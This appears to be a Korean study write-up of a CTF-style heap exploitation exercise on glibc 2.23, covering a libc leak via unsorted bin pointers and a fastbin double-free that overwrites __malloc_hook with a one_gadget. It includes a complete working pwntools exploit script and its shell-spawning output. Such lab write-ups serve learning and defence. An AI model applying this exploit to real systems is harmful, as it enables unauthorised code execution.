요약
해당 내용은 GLIBC 2.23-0ubuntu11.3 / ubuntu 16.04 환경에서 unsorted bin에 남겨진 fd, bk 값을 통해 libc base 주소를 구하고, fastbin_dup으로 AAW 실습을 한 내용이다.
이당시때는 tcache와 safe-linking 기법이 적용되지 않았다.
checksec
seo@seo-ubuntu1604:~/study/old_dayz$ checksec ./old
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
[*] '/home/seo/study/old_dayz/old'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Analysis
1. Leak Libc address
''' 이 방법이 작동하는 이유는 free chunk를 확인할 수 있고, unsorted bin이 이중 연결(doubly linked) 순환 리스트이기 때문입니다. 따라서 요소가 하나만 있을 경우, 그 요소의 fd와 bk 포인터는 모두 메인 아레나(main arena)에 있는 unsorted bin의 주소를 가리키게 됩니다. ''' #fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용) add(0, 0x80) #fast bin, chunk size 0x90 add(1, 0x20) #fast bin, chunk size 0x30 delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x90 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x555555559090 0x90 0x30 Used None None
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555555590c0 (size : 0x20f40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555559000 (size : 0x90)
- add(0, 0x80)

- add(0, 0x80) → add(1, 0x20)

- malloc(0x80) → malloc(0x20)→ delete(0)
- 여기서 fd, bk에 적힌주소는 libc_base + 0x3c4b78,
- 해제된 notes[0]에 fd, bk 값이 남아있어 libc 베이스 계산 가능.

gdb-peda$ x/gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x00005555555590c0
gdb-peda$ p *(struct malloc_state *)(0x00007ffff7dd1b78-88)
$2 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x5555555590c0,
last_remainder = 0x0,
bins = {0x555555559000, 0x555555559000, 0x7ffff7dd1b88 <main_arena+104>,
0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>,
0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>,
0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>,
0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>,
0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>,
0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>,
0x7ffff7dd1be8 <main_arena+200>, 0x7ffff7dd1bf8 <main_arena+216>,
0x7ffff7dd1bf8 <main_arena+216>, 0x7ffff7dd1c08 <main_arena+232>,
0x7ffff7dd1c08 <main_arena+232>, 0x7ffff7dd1c18 <main_arena+248>,
0x7ffff7dd1c18 <main_arena+248>, 0x7ffff7dd1c28 <main_arena+264>,
0x7ffff7dd1c28 <main_arena+264>, 0x7ffff7dd1c38 <main_arena+280>,
0x7ffff7dd1c38 <main_arena+280>, 0x7ffff7dd1c48 <main_arena+296>,
0x7ffff7dd1c48 <main_arena+296>, 0x7ffff7dd1c58 <main_arena+312>,
0x7ffff7dd1c58 <main_arena+312>, 0x7ffff7dd1c68 <main_arena+328>,
0x7ffff7dd1c68 <main_arena+328>, 0x7ffff7dd1c78 <main_arena+344>,
0x7ffff7dd1c78 <main_arena+344>, 0x7ffff7dd1c88 <main_arena+360>,
0x7ffff7dd1c88 <main_arena+360>, 0x7ffff7dd1c98 <main_arena+376>,
0x7ffff7dd1c98 <main_arena+376>, 0x7ffff7dd1ca8 <main_arena+392>,
0x7ffff7dd1ca8 <main_arena+392>, 0x7ffff7dd1cb8 <main_arena+408>,
0x7ffff7dd1cb8 <main_arena+408>, 0x7ffff7dd1cc8 <main_arena+424>,
0x7ffff7dd1cc8 <main_arena+424>, 0x7ffff7dd1cd8 <main_arena+440>,
0x7ffff7dd1cd8 <main_arena+440>, 0x7ffff7dd1ce8 <main_arena+456>,
0x7ffff7dd1ce8 <main_arena+456>, 0x7ffff7dd1cf8 <main_arena+472>,
0x7ffff7dd1cf8 <main_arena+472>, 0x7ffff7dd1d08 <main_arena+488>,
0x7ffff7dd1d08 <main_arena+488>, 0x7ffff7dd1d18 <main_arena+504>,
0x7ffff7dd1d18 <main_arena+504>, 0x7ffff7dd1d28 <main_arena+520>,
0x7ffff7dd1d28 <main_arena+520>, 0x7ffff7dd1d38 <main_arena+536>,
0x7ffff7dd1d38 <main_arena+536>, 0x7ffff7dd1d48 <main_arena+552>,
0x7ffff7dd1d48 <main_arena+552>, 0x7ffff7dd1d58 <main_arena+568>,
0x7ffff7dd1d58 <main_arena+568>, 0x7ffff7dd1d68 <main_arena+584>,
0x7ffff7dd1d68 <main_arena+584>, 0x7ffff7dd1d78 <main_arena+600>,
0x7ffff7dd1d78 <main_arena+600>, 0x7ffff7dd1d88 <main_arena+616>,
0x7ffff7dd1d88 <main_arena+616>, 0x7ffff7dd1d98 <main_arena+632>,
0x7ffff7dd1d98 <main_arena+632>, 0x7ffff7dd1da8 <main_arena+648>,
0x7ffff7dd1da8 <main_arena+648>, 0x7ffff7dd1db8 <main_arena+664>,
0x7ffff7dd1db8 <main_arena+664>, 0x7ffff7dd1dc8 <main_arena+680>,
0x7ffff7dd1dc8 <main_arena+680>, 0x7ffff7dd1dd8 <main_arena+696>,
0x7ffff7dd1dd8 <main_arena+696>, 0x7ffff7dd1de8 <main_arena+712>,
0x7ffff7dd1de8 <main_arena+712>, 0x7ffff7dd1df8 <main_arena+728>,
0x7ffff7dd1df8 <main_arena+728>, 0x7ffff7dd1e08 <main_arena+744>,
0x7ffff7dd1e08 <main_arena+744>, 0x7ffff7dd1e18 <main_arena+760>,
0x7ffff7dd1e18 <main_arena+760>, 0x7ffff7dd1e28 <main_arena+776>,
0x7ffff7dd1e28 <main_arena+776>, 0x7ffff7dd1e38 <main_arena+792>,
0x7ffff7dd1e38 <main_arena+792>, 0x7ffff7dd1e48 <main_arena+808>,
0x7ffff7dd1e48 <main_arena+808>, 0x7ffff7dd1e58 <main_arena+824>,
0x7ffff7dd1e58 <main_arena+824>, 0x7ffff7dd1e68 <main_arena+840>,
0x7ffff7dd1e68 <main_arena+840>, 0x7ffff7dd1e78 <main_arena+856>,
0x7ffff7dd1e78 <main_arena+856>, 0x7ffff7dd1e88 <main_arena+872>,
0x7ffff7dd1e88 <main_arena+872>, 0x7ffff7dd1e98 <main_arena+888>,
0x7ffff7dd1e98 <main_arena+888>, 0x7ffff7dd1ea8 <main_arena+904>,
0x7ffff7dd1ea8 <main_arena+904>, 0x7ffff7dd1eb8 <main_arena+920>,
0x7ffff7dd1eb8 <main_arena+920>, 0x7ffff7dd1ec8 <main_arena+936>,
0x7ffff7dd1ec8 <main_arena+936>, 0x7ffff7dd1ed8 <main_arena+952>,
0x7ffff7dd1ed8 <main_arena+952>, 0x7ffff7dd1ee8 <main_arena+968>,
0x7ffff7dd1ee8 <main_arena+968>, 0x7ffff7dd1ef8 <main_arena+984>,
0x7ffff7dd1ef8 <main_arena+984>, 0x7ffff7dd1f08 <main_arena+1000>,
0x7ffff7dd1f08 <main_arena+1000>, 0x7ffff7dd1f18 <main_arena+1016>,
0x7ffff7dd1f18 <main_arena+1016>, 0x7ffff7dd1f28 <main_arena+1032>,
0x7ffff7dd1f28 <main_arena+1032>, 0x7ffff7dd1f38 <main_arena+1048>,
0x7ffff7dd1f38 <main_arena+1048>, 0x7ffff7dd1f48 <main_arena+1064>,
0x7ffff7dd1f48 <main_arena+1064>, 0x7ffff7dd1f58 <main_arena+1080>,
0x7ffff7dd1f58 <main_arena+1080>, 0x7ffff7dd1f68 <main_arena+1096>,
0x7ffff7dd1f68 <main_arena+1096>, 0x7ffff7dd1f78 <main_arena+1112>,
0x7ffff7dd1f78 <main_arena+1112>, 0x7ffff7dd1f88 <main_arena+1128>,
0x7ffff7dd1f88 <main_arena+1128>, 0x7ffff7dd1f98 <main_arena+1144>,
0x7ffff7dd1f98 <main_arena+1144>, 0x7ffff7dd1fa8 <main_arena+1160>,
0x7ffff7dd1fa8 <main_arena+1160>, 0x7ffff7dd1fb8 <main_arena+1176>,
0x7ffff7dd1fb8 <main_arena+1176>, 0x7ffff7dd1fc8 <main_arena+1192>,
0x7ffff7dd1fc8 <main_arena+1192>, 0x7ffff7dd1fd8 <main_arena+1208>,
0x7ffff7dd1fd8 <main_arena+1208>, 0x7ffff7dd1fe8 <main_arena+1224>,
0x7ffff7dd1fe8 <main_arena+1224>, 0x7ffff7dd1ff8 <main_arena+1240>,
0x7ffff7dd1ff8 <main_arena+1240>, 0x7ffff7dd2008 <main_arena+1256>,
0x7ffff7dd2008 <main_arena+1256>, 0x7ffff7dd2018 <main_arena+1272>,
0x7ffff7dd2018 <main_arena+1272>, 0x7ffff7dd2028 <main_arena+1288>,
0x7ffff7dd2028 <main_arena+1288>, 0x7ffff7dd2038 <main_arena+1304>,
0x7ffff7dd2038 <main_arena+1304>, 0x7ffff7dd2048 <main_arena+1320>,
0x7ffff7dd2048 <main_arena+1320>, 0x7ffff7dd2058 <main_arena+1336>,
0x7ffff7dd2058 <main_arena+1336>, 0x7ffff7dd2068 <main_arena+1352>,
0x7ffff7dd2068 <main_arena+1352>, 0x7ffff7dd2078 <main_arena+1368>,
0x7ffff7dd2078 <main_arena+1368>, 0x7ffff7dd2088 <main_arena+1384>,
0x7ffff7dd2088 <main_arena+1384>, 0x7ffff7dd2098 <main_arena+1400>,
0x7ffff7dd2098 <main_arena+1400>, 0x7ffff7dd20a8 <main_arena+1416>,
0x7ffff7dd20a8 <main_arena+1416>, 0x7ffff7dd20b8 <main_arena+1432>,
0x7ffff7dd20b8 <main_arena+1432>, 0x7ffff7dd20c8 <main_arena+1448>,
0x7ffff7dd20c8 <main_arena+1448>, 0x7ffff7dd20d8 <main_arena+1464>,
0x7ffff7dd20d8 <main_arena+1464>, 0x7ffff7dd20e8 <main_arena+1480>,
0x7ffff7dd20e8 <main_arena+1480>, 0x7ffff7dd20f8 <main_arena+1496>,
0x7ffff7dd20f8 <main_arena+1496>, 0x7ffff7dd2108 <main_arena+1512>,
0x7ffff7dd2108 <main_arena+1512>, 0x7ffff7dd2118 <main_arena+1528>,
0x7ffff7dd2118 <main_arena+1528>, 0x7ffff7dd2128 <main_arena+1544>,
0x7ffff7dd2128 <main_arena+1544>, 0x7ffff7dd2138 <main_arena+1560>,
0x7ffff7dd2138 <main_arena+1560>, 0x7ffff7dd2148 <main_arena+1576>,
0x7ffff7dd2148 <main_arena+1576>, 0x7ffff7dd2158 <main_arena+1592>,
0x7ffff7dd2158 <main_arena+1592>, 0x7ffff7dd2168 <main_arena+1608>,
0x7ffff7dd2168 <main_arena+1608>, 0x7ffff7dd2178 <main_arena+1624>,
0x7ffff7dd2178 <main_arena+1624>, 0x7ffff7dd2188 <main_arena+1640>,
0x7ffff7dd2188 <main_arena+1640>, 0x7ffff7dd2198 <main_arena+1656>,
0x7ffff7dd2198 <main_arena+1656>, 0x7ffff7dd21a8 <main_arena+1672>,
0x7ffff7dd21a8 <main_arena+1672>...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
gdb-peda$
- 최종 코드
#fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용)
add(0, 0x80) #fast bin, chunk size 0x90
add(1, 0x20) #fast bin, chunk size 0x30
delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감.
leak = view(0)
leak = leak[:6]
leak = uu64(leak)
info("leaked: " + hex(leak))
l.address = leak - 0x3c4b78
info("libc base: " + hex(l.address))
2. AAW using fastbin_dup technique
unsorted bin으로부터 다시 fastbin으로부터 할당받고, 나머지 2개도 fastbin으로 할당.
add(2, 0x80) # 오래된 청크, notes[2]로 할당함.. unsorted bin에서 요청되었기 때문에, 다음 malloc에서는 이 청크를 받을 수 없음. add(3, 0x68) # A idx 3 add(4, 0x68) # B idx 4

- fastbin dup / Double-free 버그 트리거
#fastbin dup 트리거 delete(3) # A idx 3 : A linked into fastbin delete(4) # B idx 4 : B linked into fastbin delete(3) # A idx 3 : A linked into fastbin again

- 이제 할당시 notes[5]와 notes[7]은 같은 주소를 가리킴.
- notes[7] 할당하기 전에, notes[5]에 malloc_hook-35 8바이트를 작성해 AAW할 대상 주소 결정. 이는 추후, notes[8]에서 할당받을때, write 함수로 AAW할 수 있음.
# 이제 1번째 할당 주소와 3번째 할당 주소는 같은 주소를 가리킴. add(5, 0x68) # 5 #0x00005555555590d0 write(5, p64(malloc_hook-35)) add(6, 0x68) # 6 #0x0000555555559140 add(7, 0x68) # 7 malloc_hook-35를 0x70 fastbin에 넣음. #0x00005555555590d0

- 이제
add(8, 0x68)호출시, notes[8]에 할당받은 주소는 AAW할 대상주소가 적혀있음. - 적힌
0x00007ffff7dd1afd주소는libc base + 0x3c4afd
gdb-peda$ x/16gx 0x0005555555580C0 0x5555555580c0 <notes>: 0x0000555555559010 0x00005555555590a0 0x5555555580d0 <notes+16>: 0x0000555555559010 0x00005555555590d0 0x5555555580e0 <notes+32>: 0x0000555555559140 0x00005555555590d0 0x5555555580f0 <notes+48>: 0x0000555555559140 0x00005555555590d0 0x555555558100 <notes+64>: 0x00007ffff7dd1afd 0x0000000000000000 0x555555558110 <notes+80>: 0x0000000000000000 0x0000000000000000 0x555555558120 <notes+96>: 0x0000000000000000 0x0000000000000000 0x555555558130 <notes+112>: 0x0000000000000000 0x0000000000000000
.data:00000000003C4AF0 dq offset _IO_wfile_jumps .data:00000000003C4AF8 db 0 .data:00000000003C4AF9 db 0 .data:00000000003C4AFA db 0 .data:00000000003C4AFB db 0 .data:00000000003C4AFC db 0 .data:00000000003C4AFD db 0 .data:00000000003C4AFE db 0 .data:00000000003C4AFF db 0 .data:00000000003C4B00 public __memalign_hook ; weak .data:00000000003C4B00 __memalign_hook dq offset sub_85EA0 ; DATA XREF: LOAD:0000000000010DD0↑o .data:00000000003C4B00 ; .got:__memalign_hook_ptr↑o .data:00000000003C4B08 public __realloc_hook ; weak .data:00000000003C4B08 __realloc_hook dq offset sub_85A70 ; DATA XREF: LOAD:000000000000C888↑o .data:00000000003C4B08 ; .got:__realloc_hook_ptr↑o .data:00000000003C4B10 public __malloc_hook ; weak .data:00000000003C4B10 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o .data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o .data:00000000003C4B18 align 20h .data:00000000003C4B20 dword_3C4B20 dd 0 ; DATA XREF: sub_7D920:loc_7DB9E↑o .data:00000000003C4B20 ; sub_7D920+341↑o ... .data:00000000003C4B24 dword_3C4B24 dd 0 ; DATA XREF: sub_7DEC0:loc_7DEFE↑r .data:00000000003C4B24 ; sub_7DFB0:loc_7DFF7↑r ... .data:00000000003C4B28 unk_3C4B28 db 0 ; DATA XREF: malloc_set_state:loc_86201↑o
- 적힌
0x00007ffff7dd1afd주소는libc base + 0x3c4afd이므로, 0x3C4B10 – 0x3c4afd = 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음. - 8바이트 malloc_hook은 one_gadget 주소로 덮어쓰기!
- 이후에는 다음번에 malloc 호출시, 원가젯이 실행됨.
add(8, 0x68) # 8 malloc_hook-35부터 시작하여 0x70 크기의 청크를 요청. # 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음 write(8, b"A"*19 + p64(one_gadget)) #원가젯으로 덮어씀.ㅇㅇㅇ add(9, 0x68) #원가젯 실행
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = process("./old")
e = ELF('./old',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
def add(idx, size):
sla(b"> ", b"1")
sla(b"idx: \n", str(idx))
sla(b"size: \n", str(size))
def delete(idx):
sla(b"> ", b"2")
sla(b"idx: \n", str(idx))
def write(idx, contents):
sla(b"> ", b"3")
sla(b"idx: \n", str(idx))
sla(b"contents: \n", (contents))
def view(idx):
sla(b"> ", b"4")
sla(b"idx: \n", str(idx))
result = p.recvline()
# info(result)
result = result.split(b"data: ")[1]
return result
def exit():
sla(b"> ", b"5")
def exit_42():
sla(b"> ", b"5")
'''
이 방법이 작동하는 이유는 free chunk를 확인할 수 있고,
unsorted bin이 이중 연결(doubly linked) 순환 리스트이기 때문입니다.
따라서 요소가 하나만 있을 경우, 그 요소의 fd와 bk 포인터는
모두 메인 아레나(main arena)에 있는 unsorted bin의 주소를 가리키게 됩니다.
'''
#Leak libc
#fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용)
add(0, 0x80) #fast bin, chunk size 0x90
add(1, 0x20) #fast bin, chunk size 0x30
delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감.
leak = view(0)
leak = leak[:6]
leak = uu64(leak)
info("leaked: " + hex(leak))
l.address = leak - 0x3c4b78
info("libc base: " + hex(l.address))
#Overwriting malloc hook: fastbin dup technique
malloc_hook = l.sym.__malloc_hook
info("malloc_hook: " + hex(malloc_hook))
one_gadget = l.address + 0x4527a
add(2, 0x80) # 오래된 청크, notes[2]로 할당함.. unsorted bin에서 요청되었기 때문에, 다음 malloc에서는 이 청크를 받을 수 없음.
add(3, 0x68) # A idx 3
add(4, 0x68) # B idx 4
# ip()
#fastbin dup 트리거
delete(3) # A idx 3 : A linked into fastbin
delete(4) # B idx 4 : B linked into fastbin
delete(3) # A idx 3 : A linked into fastbin again
# ip()
# 이제 1번째 할당 주소와 3번째 할당 주소는 같은 주소를 가리킴.
add(5, 0x68) # 5 #0x00005555555590d0
write(5, p64(malloc_hook-35))
add(6, 0x68) # 6 #0x0000555555559140
add(7, 0x68) # 7 malloc_hook-35를 0x70 fastbin에 넣음. #0x00005555555590d0
add(8, 0x68) # 8 malloc_hook-35부터 시작하여 0x70 크기의 청크를 요청.
# 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음
write(8, b"A"*19 + p64(one_gadget)) #원가젯으로 덮어씀.ㅇㅇㅇ
add(9, 0x68) #원가젯 실행
pi()
Result
seo@seo-ubuntu1604:~/study/old_dayz$ python3 solve.py [+] Starting local process './old': pid 3430 [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [*] leaked: 0x7ffff7dd1b78 [*] libc base: 0x7ffff7a0d000 [*] malloc_hook: 0x7ffff7dd1b10 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ whoami seo $ [*] Interrupted [*] Stopped process './old' (pid 3430)